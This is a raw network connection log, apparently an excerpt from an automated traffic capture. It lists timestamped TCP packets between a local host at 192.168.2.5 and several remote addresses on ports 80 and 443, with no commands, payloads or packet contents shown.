Oct 30, 2024 23:11:44.899790049 CET	49870	80	192.168.2.5	185.215.113.206
Oct 30, 2024 23:11:44.899826050 CET	80	49870	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:44.899838924 CET	80	49870	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:44.899868965 CET	49870	80	192.168.2.5	185.215.113.206
Oct 30, 2024 23:11:44.900365114 CET	80	49870	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:44.900377989 CET	80	49870	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:44.900445938 CET	49870	80	192.168.2.5	185.215.113.206
Oct 30, 2024 23:11:44.919256926 CET	443	49940	20.125.209.212	192.168.2.5
Oct 30, 2024 23:11:44.919610977 CET	49940	443	192.168.2.5	20.125.209.212
Oct 30, 2024 23:11:44.919624090 CET	443	49940	20.125.209.212	192.168.2.5
Oct 30, 2024 23:11:44.921119928 CET	443	49940	20.125.209.212	192.168.2.5
Oct 30, 2024 23:11:44.921176910 CET	49940	443	192.168.2.5	20.125.209.212
Oct 30, 2024 23:11:44.922482014 CET	49940	443	192.168.2.5	20.125.209.212
Oct 30, 2024 23:11:44.922566891 CET	443	49940	20.125.209.212	192.168.2.5
Oct 30, 2024 23:11:44.922693968 CET	49940	443	192.168.2.5	20.125.209.212
Oct 30, 2024 23:11:44.922703981 CET	443	49940	20.125.209.212	192.168.2.5
Oct 30, 2024 23:11:44.931798935 CET	49937	443	192.168.2.5	23.96.180.189
Oct 30, 2024 23:11:44.931832075 CET	443	49937	23.96.180.189	192.168.2.5
Oct 30, 2024 23:11:44.932821035 CET	443	49941	3.165.181.3	192.168.2.5
Oct 30, 2024 23:11:44.933012962 CET	443	49941	3.165.181.3	192.168.2.5
Oct 30, 2024 23:11:44.933089018 CET	49941	443	192.168.2.5	3.165.181.3
Oct 30, 2024 23:11:44.941106081 CET	49941	443	192.168.2.5	3.165.181.3
Oct 30, 2024 23:11:44.941133976 CET	443	49941	3.165.181.3	192.168.2.5
Oct 30, 2024 23:11:44.943526030 CET	49953	443	192.168.2.5	3.165.181.3
Oct 30, 2024 23:11:44.943573952 CET	443	49953	3.165.181.3	192.168.2.5
Oct 30, 2024 23:11:44.943628073 CET	49953	443	192.168.2.5	3.165.181.3
Oct 30, 2024 23:11:44.944427967 CET	49953	443	192.168.2.5	3.165.181.3
Oct 30, 2024 23:11:44.944444895 CET	443	49953	3.165.181.3	192.168.2.5
Oct 30, 2024 23:11:44.971261024 CET	49940	443	192.168.2.5	20.125.209.212
Oct 30, 2024 23:11:44.974133015 CET	443	49939	20.189.173.26	192.168.2.5
Oct 30, 2024 23:11:44.985110998 CET	443	49938	13.107.246.45	192.168.2.5
Oct 30, 2024 23:11:44.985284090 CET	443	49938	13.107.246.45	192.168.2.5
Oct 30, 2024 23:11:44.985477924 CET	49938	443	192.168.2.5	13.107.246.45
Oct 30, 2024 23:11:44.987498999 CET	49939	443	192.168.2.5	20.189.173.26
Oct 30, 2024 23:11:44.987519979 CET	443	49939	20.189.173.26	192.168.2.5
Oct 30, 2024 23:11:44.988640070 CET	443	49939	20.189.173.26	192.168.2.5
Oct 30, 2024 23:11:44.988702059 CET	49939	443	192.168.2.5	20.189.173.26
Oct 30, 2024 23:11:44.989761114 CET	80	49870	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:44.989801884 CET	80	49870	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:44.989813089 CET	80	49870	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:44.989816904 CET	49870	80	192.168.2.5	185.215.113.206
Oct 30, 2024 23:11:44.989847898 CET	49870	80	192.168.2.5	185.215.113.206
Oct 30, 2024 23:11:45.010366917 CET	49939	443	192.168.2.5	20.189.173.26
Oct 30, 2024 23:11:45.010386944 CET	49938	443	192.168.2.5	13.107.246.45
Oct 30, 2024 23:11:45.010437012 CET	443	49938	13.107.246.45	192.168.2.5
Oct 30, 2024 23:11:45.010467052 CET	443	49939	20.189.173.26	192.168.2.5
Oct 30, 2024 23:11:45.010468006 CET	49938	443	192.168.2.5	13.107.246.45
Oct 30, 2024 23:11:45.010478973 CET	443	49938	13.107.246.45	192.168.2.5
Oct 30, 2024 23:11:45.012054920 CET	49939	443	192.168.2.5	20.189.173.26
Oct 30, 2024 23:11:45.012073040 CET	443	49939	20.189.173.26	192.168.2.5
Oct 30, 2024 23:11:45.012141943 CET	49939	443	192.168.2.5	20.189.173.26
Oct 30, 2024 23:11:45.012177944 CET	443	49939	20.189.173.26	192.168.2.5
Oct 30, 2024 23:11:45.016653061 CET	80	49870	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:45.016691923 CET	80	49870	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:45.016705990 CET	80	49870	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:45.016782045 CET	49870	80	192.168.2.5	185.215.113.206
Oct 30, 2024 23:11:45.017429113 CET	80	49870	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:45.017483950 CET	49870	80	192.168.2.5	185.215.113.206
Oct 30, 2024 23:11:45.017487049 CET	80	49870	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:45.017502069 CET	80	49870	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:45.017538071 CET	49870	80	192.168.2.5	185.215.113.206
Oct 30, 2024 23:11:45.018883944 CET	80	49870	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:45.018903971 CET	80	49870	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:45.018918037 CET	80	49870	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:45.018929958 CET	80	49870	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:45.018944025 CET	80	49870	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:45.018953085 CET	49870	80	192.168.2.5	185.215.113.206
Oct 30, 2024 23:11:45.018980026 CET	49870	80	192.168.2.5	185.215.113.206
Oct 30, 2024 23:11:45.019007921 CET	49870	80	192.168.2.5	185.215.113.206
Oct 30, 2024 23:11:45.043540001 CET	49954	443	192.168.2.5	23.198.7.170
Oct 30, 2024 23:11:45.043592930 CET	443	49954	23.198.7.170	192.168.2.5
Oct 30, 2024 23:11:45.043664932 CET	49954	443	192.168.2.5	23.198.7.170
Oct 30, 2024 23:11:45.047070980 CET	49954	443	192.168.2.5	23.198.7.170
Oct 30, 2024 23:11:45.047106028 CET	443	49954	23.198.7.170	192.168.2.5
Oct 30, 2024 23:11:45.051827908 CET	49939	443	192.168.2.5	20.189.173.26
Oct 30, 2024 23:11:45.057070971 CET	49955	443	192.168.2.5	23.198.7.170
Oct 30, 2024 23:11:45.057132006 CET	443	49955	23.198.7.170	192.168.2.5
Oct 30, 2024 23:11:45.057382107 CET	49955	443	192.168.2.5	23.198.7.170
Oct 30, 2024 23:11:45.060228109 CET	49955	443	192.168.2.5	23.198.7.170
Oct 30, 2024 23:11:45.060271025 CET	443	49955	23.198.7.170	192.168.2.5
Oct 30, 2024 23:11:45.086004019 CET	443	49940	20.125.209.212	192.168.2.5
Oct 30, 2024 23:11:45.086065054 CET	443	49944	23.55.178.243	192.168.2.5
Oct 30, 2024 23:11:45.086086988 CET	443	49944	23.55.178.243	192.168.2.5
Oct 30, 2024 23:11:45.086096048 CET	443	49944	23.55.178.243	192.168.2.5
Oct 30, 2024 23:11:45.086117983 CET	443	49944	23.55.178.243	192.168.2.5
Oct 30, 2024 23:11:45.086131096 CET	443	49944	23.55.178.243	192.168.2.5
Oct 30, 2024 23:11:45.086141109 CET	443	49944	23.55.178.243	192.168.2.5
Oct 30, 2024 23:11:45.086153030 CET	49944	443	192.168.2.5	23.55.178.243
Oct 30, 2024 23:11:45.086179018 CET	443	49944	23.55.178.243	192.168.2.5
Oct 30, 2024 23:11:45.086195946 CET	49944	443	192.168.2.5	23.55.178.243
Oct 30, 2024 23:11:45.086226940 CET	49944	443	192.168.2.5	23.55.178.243
Oct 30, 2024 23:11:45.086250067 CET	49944	443	192.168.2.5	23.55.178.243
Oct 30, 2024 23:11:45.097318888 CET	443	49942	23.55.178.243	192.168.2.5
Oct 30, 2024 23:11:45.097345114 CET	443	49942	23.55.178.243	192.168.2.5
Oct 30, 2024 23:11:45.097362995 CET	443	49942	23.55.178.243	192.168.2.5
Oct 30, 2024 23:11:45.097497940 CET	49942	443	192.168.2.5	23.55.178.243
Oct 30, 2024 23:11:45.097527981 CET	443	49942	23.55.178.243	192.168.2.5
Oct 30, 2024 23:11:45.097631931 CET	49942	443	192.168.2.5	23.55.178.243
Oct 30, 2024 23:11:45.103595018 CET	443	49940	20.125.209.212	192.168.2.5
Oct 30, 2024 23:11:45.103689909 CET	49940	443	192.168.2.5	20.125.209.212
Oct 30, 2024 23:11:45.106045008 CET	49940	443	192.168.2.5	20.125.209.212
Oct 30, 2024 23:11:45.106059074 CET	443	49940	20.125.209.212	192.168.2.5
Oct 30, 2024 23:11:45.113205910 CET	443	49937	23.96.180.189	192.168.2.5
Oct 30, 2024 23:11:45.113229990 CET	443	49937	23.96.180.189	192.168.2.5
Oct 30, 2024 23:11:45.113282919 CET	49937	443	192.168.2.5	23.96.180.189
Oct 30, 2024 23:11:45.113312006 CET	443	49937	23.96.180.189	192.168.2.5
Oct 30, 2024 23:11:45.113712072 CET	443	49943	23.55.178.243	192.168.2.5
Oct 30, 2024 23:11:45.113734007 CET	443	49943	23.55.178.243	192.168.2.5
Oct 30, 2024 23:11:45.113743067 CET	443	49943	23.55.178.243	192.168.2.5
Oct 30, 2024 23:11:45.113756895 CET	443	49943	23.55.178.243	192.168.2.5
Oct 30, 2024 23:11:45.113790035 CET	443	49943	23.55.178.243	192.168.2.5
Oct 30, 2024 23:11:45.113802910 CET	49943	443	192.168.2.5	23.55.178.243
Oct 30, 2024 23:11:45.113815069 CET	443	49943	23.55.178.243	192.168.2.5
Oct 30, 2024 23:11:45.113828897 CET	49943	443	192.168.2.5	23.55.178.243
Oct 30, 2024 23:11:45.113858938 CET	49943	443	192.168.2.5	23.55.178.243
Oct 30, 2024 23:11:45.128407001 CET	49937	443	192.168.2.5	23.96.180.189
Oct 30, 2024 23:11:45.128489017 CET	443	49937	23.96.180.189	192.168.2.5
Oct 30, 2024 23:11:45.128668070 CET	443	49937	23.96.180.189	192.168.2.5
Oct 30, 2024 23:11:45.128681898 CET	49937	443	192.168.2.5	23.96.180.189
Oct 30, 2024 23:11:45.128720045 CET	49937	443	192.168.2.5	23.96.180.189
Oct 30, 2024 23:11:45.140878916 CET	49956	443	192.168.2.5	13.107.246.45
Oct 30, 2024 23:11:45.140899897 CET	443	49956	13.107.246.45	192.168.2.5
Oct 30, 2024 23:11:45.141014099 CET	49956	443	192.168.2.5	13.107.246.45
Oct 30, 2024 23:11:45.174201965 CET	49956	443	192.168.2.5	13.107.246.45
Oct 30, 2024 23:11:45.174216986 CET	443	49956	13.107.246.45	192.168.2.5
Oct 30, 2024 23:11:45.202260017 CET	443	49944	23.55.178.243	192.168.2.5
Oct 30, 2024 23:11:45.202281952 CET	443	49944	23.55.178.243	192.168.2.5
Oct 30, 2024 23:11:45.202328920 CET	49944	443	192.168.2.5	23.55.178.243
Oct 30, 2024 23:11:45.202361107 CET	443	49944	23.55.178.243	192.168.2.5
Oct 30, 2024 23:11:45.202373028 CET	49944	443	192.168.2.5	23.55.178.243
Oct 30, 2024 23:11:45.202408075 CET	49944	443	192.168.2.5	23.55.178.243
Oct 30, 2024 23:11:45.202749968 CET	443	49944	23.55.178.243	192.168.2.5
Oct 30, 2024 23:11:45.202795982 CET	49944	443	192.168.2.5	23.55.178.243
Oct 30, 2024 23:11:45.215557098 CET	443	49939	20.189.173.26	192.168.2.5
Oct 30, 2024 23:11:45.215993881 CET	443	49942	23.55.178.243	192.168.2.5
Oct 30, 2024 23:11:45.216011047 CET	443	49942	23.55.178.243	192.168.2.5
Oct 30, 2024 23:11:45.216039896 CET	443	49942	23.55.178.243	192.168.2.5
Oct 30, 2024 23:11:45.216088057 CET	49942	443	192.168.2.5	23.55.178.243
Oct 30, 2024 23:11:45.216125965 CET	443	49942	23.55.178.243	192.168.2.5
Oct 30, 2024 23:11:45.216146946 CET	49942	443	192.168.2.5	23.55.178.243
Oct 30, 2024 23:11:45.225784063 CET	80	49870	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:45.225831985 CET	80	49870	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:45.225846052 CET	80	49870	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:45.225872993 CET	49870	80	192.168.2.5	185.215.113.206
Oct 30, 2024 23:11:45.225920916 CET	49870	80	192.168.2.5	185.215.113.206
Oct 30, 2024 23:11:45.225936890 CET	80	49870	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:45.225950956 CET	80	49870	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:45.225991011 CET	49870	80	192.168.2.5	185.215.113.206
Oct 30, 2024 23:11:45.226064920 CET	80	49870	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:45.226078987 CET	80	49870	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:45.226102114 CET	49870	80	192.168.2.5	185.215.113.206
Oct 30, 2024 23:11:45.226140976 CET	49870	80	192.168.2.5	185.215.113.206
Oct 30, 2024 23:11:45.226198912 CET	80	49870	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:45.226233959 CET	49870	80	192.168.2.5	185.215.113.206
Oct 30, 2024 23:11:45.226252079 CET	80	49870	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:45.226264954 CET	80	49870	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:45.226285934 CET	49870	80	192.168.2.5	185.215.113.206
Oct 30, 2024 23:11:45.226301908 CET	49870	80	192.168.2.5	185.215.113.206
Oct 30, 2024 23:11:45.226409912 CET	80	49870	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:45.226423025 CET	80	49870	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:45.226442099 CET	80	49870	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:45.226454020 CET	49870	80	192.168.2.5	185.215.113.206
Oct 30, 2024 23:11:45.226459980 CET	80	49870	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:45.226469994 CET	49870	80	192.168.2.5	185.215.113.206
Oct 30, 2024 23:11:45.226484060 CET	49870	80	192.168.2.5	185.215.113.206
Oct 30, 2024 23:11:45.226502895 CET	49870	80	192.168.2.5	185.215.113.206
Oct 30, 2024 23:11:45.227107048 CET	80	49870	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:45.227157116 CET	49870	80	192.168.2.5	185.215.113.206
Oct 30, 2024 23:11:45.233860970 CET	49939	443	192.168.2.5	20.189.173.26
Oct 30, 2024 23:11:45.233936071 CET	443	49939	20.189.173.26	192.168.2.5
Oct 30, 2024 23:11:45.233985901 CET	49939	443	192.168.2.5	20.189.173.26
Oct 30, 2024 23:11:45.234457016 CET	443	49943	23.55.178.243	192.168.2.5
Oct 30, 2024 23:11:45.234477043 CET	443	49943	23.55.178.243	192.168.2.5
Oct 30, 2024 23:11:45.234517097 CET	49943	443	192.168.2.5	23.55.178.243
Oct 30, 2024 23:11:45.234525919 CET	443	49943	23.55.178.243	192.168.2.5
Oct 30, 2024 23:11:45.234539986 CET	443	49943	23.55.178.243	192.168.2.5
Oct 30, 2024 23:11:45.234545946 CET	49943	443	192.168.2.5	23.55.178.243
Oct 30, 2024 23:11:45.234559059 CET	49943	443	192.168.2.5	23.55.178.243
Oct 30, 2024 23:11:45.252377033 CET	80	49870	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:45.252465963 CET	49870	80	192.168.2.5	185.215.113.206
Oct 30, 2024 23:11:45.252484083 CET	80	49870	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:45.252526999 CET	49870	80	192.168.2.5	185.215.113.206
Oct 30, 2024 23:11:45.254535913 CET	80	49870	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:45.254556894 CET	80	49870	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:45.254569054 CET	80	49870	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:45.254601002 CET	49870	80	192.168.2.5	185.215.113.206
Oct 30, 2024 23:11:45.254645109 CET	49870	80	192.168.2.5	185.215.113.206
Oct 30, 2024 23:11:45.256520033 CET	49942	443	192.168.2.5	23.55.178.243
Oct 30, 2024 23:11:45.259772062 CET	443	49945	13.107.246.45	192.168.2.5
Oct 30, 2024 23:11:45.264137983 CET	49957	443	192.168.2.5	20.189.173.26
Oct 30, 2024 23:11:45.264183044 CET	443	49957	20.189.173.26	192.168.2.5
Oct 30, 2024 23:11:45.264457941 CET	49957	443	192.168.2.5	20.189.173.26
Oct 30, 2024 23:11:45.264750004 CET	49957	443	192.168.2.5	20.189.173.26
Oct 30, 2024 23:11:45.264765024 CET	443	49957	20.189.173.26	192.168.2.5
Oct 30, 2024 23:11:45.267690897 CET	49958	443	192.168.2.5	20.189.173.26
Oct 30, 2024 23:11:45.267730951 CET	443	49958	20.189.173.26	192.168.2.5
Oct 30, 2024 23:11:45.267802954 CET	49958	443	192.168.2.5	20.189.173.26
Oct 30, 2024 23:11:45.268171072 CET	49958	443	192.168.2.5	20.189.173.26
Oct 30, 2024 23:11:45.268182039 CET	443	49958	20.189.173.26	192.168.2.5
Oct 30, 2024 23:11:45.271622896 CET	443	49946	13.107.246.45	192.168.2.5
Oct 30, 2024 23:11:45.274713993 CET	443	49935	20.190.159.4	192.168.2.5
Oct 30, 2024 23:11:45.274738073 CET	443	49935	20.190.159.4	192.168.2.5
Oct 30, 2024 23:11:45.274775982 CET	443	49935	20.190.159.4	192.168.2.5
Oct 30, 2024 23:11:45.274840117 CET	49935	443	192.168.2.5	20.190.159.4
Oct 30, 2024 23:11:45.274851084 CET	443	49935	20.190.159.4	192.168.2.5
Oct 30, 2024 23:11:45.281959057 CET	443	49947	13.107.246.45	192.168.2.5
Oct 30, 2024 23:11:45.286299944 CET	49943	443	192.168.2.5	23.55.178.243
Oct 30, 2024 23:11:45.296459913 CET	80	49870	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:45.296508074 CET	80	49870	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:45.296518087 CET	80	49870	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:45.296627998 CET	49870	80	192.168.2.5	185.215.113.206
Oct 30, 2024 23:11:45.296627998 CET	49870	80	192.168.2.5	185.215.113.206
Oct 30, 2024 23:11:45.296627998 CET	49870	80	192.168.2.5	185.215.113.206
Oct 30, 2024 23:11:45.303997040 CET	49945	443	192.168.2.5	13.107.246.45
Oct 30, 2024 23:11:45.319432020 CET	443	49944	23.55.178.243	192.168.2.5
Oct 30, 2024 23:11:45.319453001 CET	443	49944	23.55.178.243	192.168.2.5
Oct 30, 2024 23:11:45.319495916 CET	49944	443	192.168.2.5	23.55.178.243
Oct 30, 2024 23:11:45.319509983 CET	443	49944	23.55.178.243	192.168.2.5
Oct 30, 2024 23:11:45.319550037 CET	49946	443	192.168.2.5	13.107.246.45
Oct 30, 2024 23:11:45.319551945 CET	49944	443	192.168.2.5	23.55.178.243
Oct 30, 2024 23:11:45.319552898 CET	49935	443	192.168.2.5	20.190.159.4
Oct 30, 2024 23:11:45.320416927 CET	49944	443	192.168.2.5	23.55.178.243
Oct 30, 2024 23:11:45.321254969 CET	49945	443	192.168.2.5	13.107.246.45
Oct 30, 2024 23:11:45.321260929 CET	443	49945	13.107.246.45	192.168.2.5
Oct 30, 2024 23:11:45.322061062 CET	49945	443	192.168.2.5	13.107.246.45
Oct 30, 2024 23:11:45.322065115 CET	443	49945	13.107.246.45	192.168.2.5
Oct 30, 2024 23:11:45.322668076 CET	49946	443	192.168.2.5	13.107.246.45
Oct 30, 2024 23:11:45.322674990 CET	443	49946	13.107.246.45	192.168.2.5
Oct 30, 2024 23:11:45.323308945 CET	49946	443	192.168.2.5	13.107.246.45
Oct 30, 2024 23:11:45.323321104 CET	443	49946	13.107.246.45	192.168.2.5
Oct 30, 2024 23:11:45.323838949 CET	49935	443	192.168.2.5	20.190.159.4
Oct 30, 2024 23:11:45.323844910 CET	443	49935	20.190.159.4	192.168.2.5
Oct 30, 2024 23:11:45.323858976 CET	49935	443	192.168.2.5	20.190.159.4
Oct 30, 2024 23:11:45.324012995 CET	443	49935	20.190.159.4	192.168.2.5
Oct 30, 2024 23:11:45.324044943 CET	443	49935	20.190.159.4	192.168.2.5
Oct 30, 2024 23:11:45.324107885 CET	49935	443	192.168.2.5	20.190.159.4
Oct 30, 2024 23:11:45.327728033 CET	49947	443	192.168.2.5	13.107.246.45
Oct 30, 2024 23:11:45.328638077 CET	49947	443	192.168.2.5	13.107.246.45
Oct 30, 2024 23:11:45.328641891 CET	443	49947	13.107.246.45	192.168.2.5
Oct 30, 2024 23:11:45.329037905 CET	49947	443	192.168.2.5	13.107.246.45
Oct 30, 2024 23:11:45.329041958 CET	443	49947	13.107.246.45	192.168.2.5
Oct 30, 2024 23:11:45.336621046 CET	443	49942	23.55.178.243	192.168.2.5
Oct 30, 2024 23:11:45.336647987 CET	443	49942	23.55.178.243	192.168.2.5
Oct 30, 2024 23:11:45.336694956 CET	49942	443	192.168.2.5	23.55.178.243
Oct 30, 2024 23:11:45.336719990 CET	443	49942	23.55.178.243	192.168.2.5
Oct 30, 2024 23:11:45.336760998 CET	49942	443	192.168.2.5	23.55.178.243
Oct 30, 2024 23:11:45.336760998 CET	49942	443	192.168.2.5	23.55.178.243
Oct 30, 2024 23:11:45.343735933 CET	80	49870	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:45.343775034 CET	80	49870	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:45.343789101 CET	49870	80	192.168.2.5	185.215.113.206
Oct 30, 2024 23:11:45.343827009 CET	49870	80	192.168.2.5	185.215.113.206
Oct 30, 2024 23:11:45.356334925 CET	443	49943	23.55.178.243	192.168.2.5
Oct 30, 2024 23:11:45.356375933 CET	443	49943	23.55.178.243	192.168.2.5
Oct 30, 2024 23:11:45.356405020 CET	49943	443	192.168.2.5	23.55.178.243
Oct 30, 2024 23:11:45.356414080 CET	443	49943	23.55.178.243	192.168.2.5
Oct 30, 2024 23:11:45.356446028 CET	49943	443	192.168.2.5	23.55.178.243
Oct 30, 2024 23:11:45.356460094 CET	49943	443	192.168.2.5	23.55.178.243
Oct 30, 2024 23:11:45.370260954 CET	80	49870	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:45.370284081 CET	80	49870	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:45.370295048 CET	80	49870	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:45.370321989 CET	49870	80	192.168.2.5	185.215.113.206
Oct 30, 2024 23:11:45.370362997 CET	49870	80	192.168.2.5	185.215.113.206
Oct 30, 2024 23:11:45.372569084 CET	80	49870	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:45.372579098 CET	80	49870	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:45.372627974 CET	49870	80	192.168.2.5	185.215.113.206
Oct 30, 2024 23:11:45.414438009 CET	80	49870	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:45.414457083 CET	80	49870	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:45.414467096 CET	80	49870	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:45.414522886 CET	80	49870	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:45.414524078 CET	49870	80	192.168.2.5	185.215.113.206
Oct 30, 2024 23:11:45.414524078 CET	49870	80	192.168.2.5	185.215.113.206
Oct 30, 2024 23:11:45.414634943 CET	80	49870	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:45.414673090 CET	49870	80	192.168.2.5	185.215.113.206
Oct 30, 2024 23:11:45.414678097 CET	80	49870	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:45.414710999 CET	49870	80	192.168.2.5	185.215.113.206
Oct 30, 2024 23:11:45.438093901 CET	443	49944	23.55.178.243	192.168.2.5
Oct 30, 2024 23:11:45.438114882 CET	443	49944	23.55.178.243	192.168.2.5
Oct 30, 2024 23:11:45.438178062 CET	49944	443	192.168.2.5	23.55.178.243
Oct 30, 2024 23:11:45.438210964 CET	443	49944	23.55.178.243	192.168.2.5
Oct 30, 2024 23:11:45.438281059 CET	49944	443	192.168.2.5	23.55.178.243
Oct 30, 2024 23:11:45.446753025 CET	443	49945	13.107.246.45	192.168.2.5
Oct 30, 2024 23:11:45.446846962 CET	443	49945	13.107.246.45	192.168.2.5
Oct 30, 2024 23:11:45.446940899 CET	49945	443	192.168.2.5	13.107.246.45
Oct 30, 2024 23:11:45.449295998 CET	443	49946	13.107.246.45	192.168.2.5
Oct 30, 2024 23:11:45.449379921 CET	443	49946	13.107.246.45	192.168.2.5
Oct 30, 2024 23:11:45.449610949 CET	49946	443	192.168.2.5	13.107.246.45
Oct 30, 2024 23:11:45.456003904 CET	443	49947	13.107.246.45	192.168.2.5
Oct 30, 2024 23:11:45.456054926 CET	443	49947	13.107.246.45	192.168.2.5
Oct 30, 2024 23:11:45.456099987 CET	443	49947	13.107.246.45	192.168.2.5
Oct 30, 2024 23:11:45.456149101 CET	49947	443	192.168.2.5	13.107.246.45
Oct 30, 2024 23:11:45.456335068 CET	443	49942	23.55.178.243	192.168.2.5
Oct 30, 2024 23:11:45.456362963 CET	443	49942	23.55.178.243	192.168.2.5
Oct 30, 2024 23:11:45.456414938 CET	49942	443	192.168.2.5	23.55.178.243
Oct 30, 2024 23:11:45.456448078 CET	443	49942	23.55.178.243	192.168.2.5
Oct 30, 2024 23:11:45.456464052 CET	49942	443	192.168.2.5	23.55.178.243
Oct 30, 2024 23:11:45.456525087 CET	49942	443	192.168.2.5	23.55.178.243
Oct 30, 2024 23:11:45.459455967 CET	49945	443	192.168.2.5	13.107.246.45
Oct 30, 2024 23:11:45.459474087 CET	443	49945	13.107.246.45	192.168.2.5
Oct 30, 2024 23:11:45.459484100 CET	49945	443	192.168.2.5	13.107.246.45
Oct 30, 2024 23:11:45.459490061 CET	443	49945	13.107.246.45	192.168.2.5
Oct 30, 2024 23:11:45.474785089 CET	443	49948	13.107.246.45	192.168.2.5
Oct 30, 2024 23:11:45.477762938 CET	443	49943	23.55.178.243	192.168.2.5
Oct 30, 2024 23:11:45.477807999 CET	443	49943	23.55.178.243	192.168.2.5
Oct 30, 2024 23:11:45.477833986 CET	49943	443	192.168.2.5	23.55.178.243
Oct 30, 2024 23:11:45.477845907 CET	443	49943	23.55.178.243	192.168.2.5
Oct 30, 2024 23:11:45.477893114 CET	49943	443	192.168.2.5	23.55.178.243
Oct 30, 2024 23:11:45.477925062 CET	49943	443	192.168.2.5	23.55.178.243
Oct 30, 2024 23:11:45.488185883 CET	80	49870	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:45.488205910 CET	80	49870	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:45.488220930 CET	80	49870	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:45.488238096 CET	49870	80	192.168.2.5	185.215.113.206
Oct 30, 2024 23:11:45.488284111 CET	49870	80	192.168.2.5	185.215.113.206
Oct 30, 2024 23:11:45.490361929 CET	80	49870	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:45.490416050 CET	80	49870	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:45.490427017 CET	80	49870	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:45.490426064 CET	49870	80	192.168.2.5	185.215.113.206
Oct 30, 2024 23:11:45.490458965 CET	49870	80	192.168.2.5	185.215.113.206
Oct 30, 2024 23:11:45.505230904 CET	443	49950	23.198.7.180	192.168.2.5
Oct 30, 2024 23:11:45.513233900 CET	49950	443	192.168.2.5	23.198.7.180
Oct 30, 2024 23:11:45.513245106 CET	443	49950	23.198.7.180	192.168.2.5
Oct 30, 2024 23:11:45.514755011 CET	443	49950	23.198.7.180	192.168.2.5
Oct 30, 2024 23:11:45.514911890 CET	49950	443	192.168.2.5	23.198.7.180
Oct 30, 2024 23:11:45.515995979 CET	49950	443	192.168.2.5	23.198.7.180
Oct 30, 2024 23:11:45.516139030 CET	443	49950	23.198.7.180	192.168.2.5
Oct 30, 2024 23:11:45.516180992 CET	443	49949	23.198.7.180	192.168.2.5
Oct 30, 2024 23:11:45.520535946 CET	49948	443	192.168.2.5	13.107.246.45
Oct 30, 2024 23:11:45.536272049 CET	80	49870	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:45.536287069 CET	80	49870	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:45.536297083 CET	80	49870	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:45.536345005 CET	49870	80	192.168.2.5	185.215.113.206
Oct 30, 2024 23:11:45.536397934 CET	49870	80	192.168.2.5	185.215.113.206
Oct 30, 2024 23:11:45.545042038 CET	49946	443	192.168.2.5	13.107.246.45
Oct 30, 2024 23:11:45.545058966 CET	443	49946	13.107.246.45	192.168.2.5
Oct 30, 2024 23:11:45.546866894 CET	49947	443	192.168.2.5	13.107.246.45
Oct 30, 2024 23:11:45.546900034 CET	443	49947	13.107.246.45	192.168.2.5
Oct 30, 2024 23:11:45.547018051 CET	49947	443	192.168.2.5	13.107.246.45
Oct 30, 2024 23:11:45.547024965 CET	443	49947	13.107.246.45	192.168.2.5
Oct 30, 2024 23:11:45.549792051 CET	49948	443	192.168.2.5	13.107.246.45
Oct 30, 2024 23:11:45.549799919 CET	443	49948	13.107.246.45	192.168.2.5
Oct 30, 2024 23:11:45.550231934 CET	49948	443	192.168.2.5	13.107.246.45
